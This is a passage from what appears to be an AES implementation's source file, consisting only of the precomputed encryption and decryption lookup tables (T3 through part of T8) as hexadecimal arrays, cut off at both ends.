0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616 ]\n    T3 = [ 0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16 ]\n    T4 = [ 0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c ]\n\n    # Transformations for decryption\n    T5 = [ 0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742 ]\n    T6 = [ 0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 0xf8d2bb3d, 0x11aef932, 0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857 ]\n    T7 = [ 0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8 ]\n    T8 = [ 0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 